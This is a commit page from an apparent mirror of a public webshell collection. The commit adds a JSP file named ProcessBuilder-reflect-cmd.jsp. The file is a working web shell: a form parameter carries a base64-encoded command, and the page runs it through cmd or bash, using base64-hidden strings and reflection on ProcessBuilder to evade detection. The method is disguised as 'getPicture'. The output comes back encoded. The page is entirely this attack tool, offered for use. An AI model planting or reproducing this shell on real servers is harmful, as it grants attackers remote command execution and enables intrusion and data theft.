Mirrors/webshell
2
0
Fork 0
mirror of https://github.com/tennc/webshell synced 2024-11-22 03:03:03 +00:00
Code Issues Projects Releases Packages Wiki Activity

Create ProcessBuilder-reflect-cmd.jsp

Browse source 
from: https://github.com/LandGrey
author: Build By LandGrey
This commit is contained in:
tennc 2018-06-02 15:20:20 +08:00 committed by GitHub
parent dc7dc8e614
commit b80ff30285
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 54 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

54
jsp/ProcessBuilder-reflect-cmd.jsp Normal file
View file

@ -0,0 +1,54 @@
<%@ page pageEncoding="UTF-8" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="sun.misc.BASE64Encoder" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception {
List<String> list = new ArrayList<String>();
BASE64Decoder decoder = new BASE64Decoder();
BASE64Encoder encoder = new BASE64Encoder();
String fileSeparator = String.valueOf(java.io.File.separatorChar);
if(fileSeparator.equals("\\")){
list.add(new String(decoder.decodeBuffer("Y21k")));
list.add(new String(decoder.decodeBuffer("L2M=")));
}else{
list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo")));
list.add(new String(decoder.decodeBuffer("LWM=")));
}
list.add(new String(decoder.decodeBuffer(str)));
Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list));
Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A");
String result = "";
result = sc.hasNext() ? sc.next() : result;
sc.close();
return encoder.encode(result.getBytes("UTF-8"));
}
%>
<%
String name ="Input Nothing";
String query = request.getParameter("q");
if(query != null) {
name = getPicture(query);
}
%>
<pre>
<%= name %>
</pre>
</BODY>
</HTML>